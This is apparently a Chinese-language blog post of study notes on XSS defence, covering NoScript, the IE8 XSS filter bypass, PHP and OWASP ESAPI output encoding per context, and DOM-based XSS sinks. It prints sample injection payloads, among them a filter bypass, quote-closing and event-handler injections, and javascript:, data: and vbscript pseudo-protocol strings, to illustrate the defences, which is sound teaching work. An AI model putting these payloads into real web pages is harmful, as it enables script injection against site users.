NoScript 擴展

NoScript 1.1.4.7版公開發布,新增了一個客戶端級的保護,針對類型0和類型1的XSS攻擊。一旦一個頁面試圖將HTML或是JavaScript代碼插入另一個頁面,NoScript就會過濾掉有害請求,抵消這些危害。

2007年4月11日,NoScript 可以根據您的選擇,只允許受信任的網站啓用JavaScript、Java 或其他插件

2008年9月15日,NoScript 1.8.1版公開發布,使得用戶可以強制某些網站必須通過https訪問,增加安全性。此外NoScript也可以強制https網站把Cookies加密來阻止Cookies劫持。

2009年9月23日,NoScript 1.9.8.9版增加了對STS的支持。這一功能使得用戶在訪問支持的網站(例如,PayPal)的時候自動只通過HTTPS訪問,使得中間人攻擊變得非常困難。


IE8 XSS Filter   但是已經被繞過了 http://www.80sec.com/ie8-xssfilter-bypass.html

.php?c=<script>alert()</script>
.php?c=%c1<script>alert()</script> 繞過


輸入檢查嗎,輸入檢查的邏輯必須放在服務器端的代碼上,。如果只是客戶端的JS進行輸入檢查,很容易就被攻擊者繞過了,JS客戶端檢查可以節約服務器資源。。比較稚嫩的可以檢查是否有<script>,javascript等敏感字符,這種可以稱爲XSS Filter


PHP輸出檢查:

htmlentities() 函數把字符轉換爲 HTML 實體。     

htmlspecialchars() 函數把一些預定義的字符轉換爲 HTML 實體。

預定義的字符是:

  • & (和號) 成爲 &amp;
  • " (雙引號) 成爲 &quot;
  • ' (單引號) 成爲 &#039;
  • < (小於) 成爲 &lt;
  • > (大於) 成爲 &gt;

javascriptEncpde 的變量輸出一定要在 引號內。 代碼  https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API


XMLEncode  與 HtmlEncode類似            JSONEncode 與 JavascriptEncode類似


正確防禦XSS:

1) HTML標籤中輸出的變量,如果未做任何處理,都能直接導致XSS, eg:  <div>$var</div>

防禦是對 變量使用 HtmlEncode

2)HTML屬性中輸出, <div id="abc" name="$var"></div> ,與1類似,採用HtmlEncode

OWASP ESAPI 推薦了一種更嚴格的 HtmlEncode 除了字母,數字,其他所有的特殊字符都被編碼爲HTMLEntitle

String safe = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter("input"))  這種嚴格方式保證不會出錯

3)<script> 標籤中輸出, <scriput>var x = "$var";</script>,  應該首先保證輸出的變量在引號中

攻擊者首先應閉合引號 才能實施攻擊, <script>var = "";alert(/xss/);//"</script>

防禦用 JavascriptEncode

4)事件中輸出, <a href =# οnclick="funcA('$var')" >test</a>

攻擊代碼:');alert(/xss/);//     ->     <a href =# οnclick="funcA('');alert(/xss/);//')" >test</a>

防禦用 JavascriptEncode

5) CSS 中輸出

防禦用 ESAPI 中的 encodeForCSS 函數

String safe = ESAPI.encoder().encodeForCSS(request.getParameter("input"))  ,除了字母,數字,其他所有的特殊字符都被編碼爲"\uHH".

6) 在地址中輸出,比較複雜, URL 的path 和 search 中輸出,

<a href="http://www.xxx.com/?test=$var" >test</a>

<a href="http://www.xxx.com/?test=" οnclick=alert(1)"" >test</a>


使用 URLEncode 即可,將字符轉換爲 "%uHH", 比如空格是 "%20", 小於號 是 "%3c"

URL 組成:  協議+HOST+path+search+hash

<a href="$var" >test</a>    ->協議欺騙   <a href="javascript:alert(1);" >test</a>   

除了javascript 協議 還可以是 vbscript  dataURL 等僞協議,

data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="
<script type="text/vbscript">alert(DOCUMENT.COOKIE)</script>

檢查是否以 http 開頭,如果不是 自動添加,以保證不會出現僞協議,再對變量進行,URLEncode

String safe = ESAPI.encoder().encodeForURL(request.getParameter("input"));  未解決 僞協議問題


ANTI-SAMY 目前最好的XSS FILTER 

另一個 開源項目: HTTMLPurify


7)上面都是服務器應用直接輸出到HTML頁面 的XSS,不適用於 DOM BASED XSS

<script>

var x = "$var";

document.write("<a href='"+x+"'>test</a>");

</script>

即使 服務器端 對 $var  進行了 javascriptEescape 但是在write 時,仍然能產生XSS

當document.write 輸出數據到HTML頁面時,瀏覽器沖洗渲染了頁面,在<script>標籤執行時已經將x 解碼

最終造成 <a href='' οnclick=alert(1);//'' >test</a>


防禦方法:在 $var 輸出到<script> 時,應該執行一次 javascriptEncode ,其次,在document.write 輸出到HTML頁面時分情況:

1)輸出到事件,腳本,則要做一次javascriptEncode


2)輸出到HTML頁面內容或者屬性,就要做一次 HtmlEncode, 那麼輸出到頁面的有:

document.write()

document.writeln()

xxx.innertHTML = 

xxx.outerHTML =   (innerHTML,innerTEXT,outerHTML,outerTEXT解釋點這裏)

innerHTML.replace

document.attachEvent()

window.attachEvent()

document.location.replace()  //當前頁面
document.location.assign()   //新頁面
````````
重點關注這幾個地方的參數是否可以被用戶控制














發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章